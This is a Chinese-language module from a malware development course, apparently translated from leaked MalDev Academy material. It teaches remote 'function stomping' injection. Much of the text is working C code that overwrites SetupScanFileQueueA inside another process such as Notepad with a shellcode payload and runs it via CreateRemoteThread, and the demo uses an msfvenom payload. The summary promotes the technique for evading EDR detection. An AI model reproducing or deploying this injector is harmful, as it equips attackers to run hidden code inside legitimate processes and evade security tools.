模块 45 - 远程函数覆盖 (Function Stomping) 注入
恶意软件开发课程 - 远程函数覆盖 (Function Stomping) 注入
模块 45 - 远程函数覆盖 (Function Stomping) 注入#
[!IMPORTANT] 本知识库声明
本知识库由本人整理自互联网 MalDev Academy 泄露资源,并由本人手动翻译为中文,过程中增加了大量关键技术提示与实践心得。
- 内容完整性:并未修改任何核心代码与技术逻辑,仅做汉化与注释加强。
- 版权归属:原始知识产权归原作者/官方所有。
- 支持正版:本仓库仅供内部学习交流,如果您有经济能力,请务必支持正版课程。
- 权利申诉:如相关内容侵犯了您的权益,请联系我,我将立即核实并删除。
远程函数覆盖注入#
简介#
上一个模块介绍了在进程的本地地址空间执行函数覆盖注入。在本模块中,将使用相同的实现逻辑将代码注入到远程进程中。
远程函数覆盖#
实现 Windows API 函数的 DLL 在所有使用它们的进程中是共享的,因此,DLL 中的函数在每个进程中具有相同的偏移地址。然而,由于不同的虚拟地址空间布局,DLL 本身的基地址在不同进程之间可能会有所不同。这意味着虽然目标函数相对于 DLL 基址的偏移量在不同进程中保持不变,但导出这些函数的 DLL 的加载位置(基址)虽然通常也相同(由于 ASLR 的特性),但有时会有所差异。
例如,两个进程 A 和 B 将共享 Kernel32.dll。由于 基址地址空间布局随机化 (ASLR) ↗,DLL 的基地址在每个进程中可能不同(尽管在现代 Windows 中,对于同一个会话,系统 DLL 往往映射在相同的地址以节省内存)。不过关键点在于:从 Kernel32.dll 导出的 VirtualAlloc 函数在两个进程中都会有相同的内存地址。
💡 初学者提示:地址一致性
Windows 为了优化性能,加载常用的系统 DLL(如
ntdll.dll或kernel32.dll)时,在系统启动后的同一次运行中,会让它们在所有进程中都处于相同的地址。这意味着,如果你在自己的进程里找到了
MessageBoxA的地址,那么在Notepad.exe里,那个函数大概率也在同一个位置。
必须注意的是,为了远程执行函数覆盖,导出目标函数的 DLL 必须已经加载到目标进程中。例如,要在远程进程中针对 SetupScanFileQueueA 函数(由 Setupapi.dll 导出),该 DLL 必须已经存在于目标进程的内存中。如果远程进程没有加载 Setupapi.dll,则 SetupScanFileQueueA 函数将不会出现在目标进程中,从而导致尝试写入一个不存在的地址。
远程函数覆盖代码#
以下代码与本地函数覆盖代码类似,但它使用不同的 WinAPI 函数(Ex 版本)来执行跨进程的代码注入。
#define SACRIFICIAL_DLL "setupapi.dll"
#define SACRIFICIAL_FUNC "SetupScanFileQueueA"
// ...
BOOL WritePayload(HANDLE hProcess, PVOID pAddress, PBYTE pPayload, SIZE_T sPayloadSize) {
DWORD dwOldProtection = NULL;
SIZE_T sNumberOfBytesWritten = NULL;
// 修改权限为可读写(RW)
if (!VirtualProtectEx(hProcess, pAddress, sPayloadSize, PAGE_READWRITE, &dwOldProtection)) {
printf("[!] VirtualProtectEx [RW] Failed With Error : %d \n", GetLastError());
return FALSE;
}
// 注入 Payload,覆盖远程函数的代码
if (!WriteProcessMemory(hProcess, pAddress, pPayload, sPayloadSize, &sNumberOfBytesWritten) || sPayloadSize != sNumberOfBytesWritten){
printf("[!] WriteProcessMemory Failed With Error : %d \n", GetLastError());
printf("[!] Bytes Written : %d of %d \n", sNumberOfBytesWritten, sPayloadSize);
return FALSE;
}
// 将权限恢复为可执行(RX 或 RWX)
if (!VirtualProtectEx(hProcess, pAddress, sPayloadSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
printf("[!] VirtualProtectEx [RWX] Failed With Error : %d \n", GetLastError());
return FALSE;
}
return TRUE;
}
int wmain(int argc, wchar_t* argv[]) {
HANDLE hProcess = NULL,
hThread = NULL;
PVOID pAddress = NULL;
DWORD dwProcessId = NULL;
HMODULE hModule = NULL;
if (argc < 2) {
wprintf(L"[!] Usage : \"%s\" <Process Name> \n", argv[0]);
return -1;
}
// 查找目标进程
wprintf(L"[i] Searching For Process Id Of \"%s\" ... ", argv[1]);
if (!GetRemoteProcessHandle(argv[1], &dwProcessId, &hProcess)) {
printf("[!] Process is Not Found \n");
return -1;
}
printf("[+] DONE \n");
printf("[i] Found Target Process Pid: %d \n", dwProcessId);
// 在本地加载牺牲 DLL 以获取函数地址
printf("[i] Loading \"%s\"... ", SACRIFICIAL_DLL);
hModule = LoadLibraryA(SACRIFICIAL_DLL);
if (hModule == NULL) {
printf("[!] LoadLibraryA Failed With Error : %d \n", GetLastError());
return -1;
}
printf("[+] DONE \n");
// 获取地址(此地址在目标进程中通常是相同的)
pAddress = GetProcAddress(hModule, SACRIFICIAL_FUNC);
if (pAddress == NULL) {
printf("[!] GetProcAddress Failed With Error : %d \n", GetLastError());
return -1;
}
printf("[+] Address Of \"%s\" : 0x%p \n", SACRIFICIAL_FUNC, pAddress);
printf("[#] Press <Enter> To Write Payload ... ");
getchar();
printf("[i] Writing ... ");
// 执行远程覆盖
if (!WritePayload(hProcess, pAddress, Payload, sizeof(Payload))) {
return -1;
}
printf("[+] DONE \n");
printf("[#] Press <Enter> To Run The Payload ... ");
getchar();
// 在目标进程中创建指向该地址的远程线程
hThread = CreateRemoteThread(hProcess, NULL, NULL, pAddress, NULL, NULL, NULL);
if (hThread != NULL)
WaitForSingleObject(hThread, INFINITE);
printf("[#] Press <Enter> To Quit ... ");
getchar();
return 0;
}c演示#
针对 Notepad.exe 进程:

检索 SetupScanFileQueueA 的地址:

SetupScanFileQueueA 的原始字节:

替换为 Msfvenom 计算器 Payload 的字节:

运行 Payload:

🎯 总结#
在本模块中,我们学习了:
- 远程函数覆盖 (Remote Function Stomping):一种极具隐蔽性的代码注入技术。
- DLL 共享性:理解了系统 DLL 在不同进程间地址大致相同的特性。
- 无背书权限 (Module-backed memory):这是这种技术最强大的地方——Payload 运行在经过签名的、磁盘文件支撑的 DLL 内存段中,而不是背景可疑的“匿名内存”中。
💡 关键要点
- 先决条件:目标 DLL 必须已经加载在目标进程内。
- 隐蔽性优势:许多高级 EDR 会扫描权限为可执行但没有对应文件的内存块(Private Memory)。Function Stomping 巧妙地躲过了这一点,因为它使用的是合法 DLL 的一部分。
📚 下一步学习
下一个模块将开始讨论 PE 头解析 (Parsing PE Headers) 等底层技术,这是理解更高级注入技术(如反射式加载)的基础!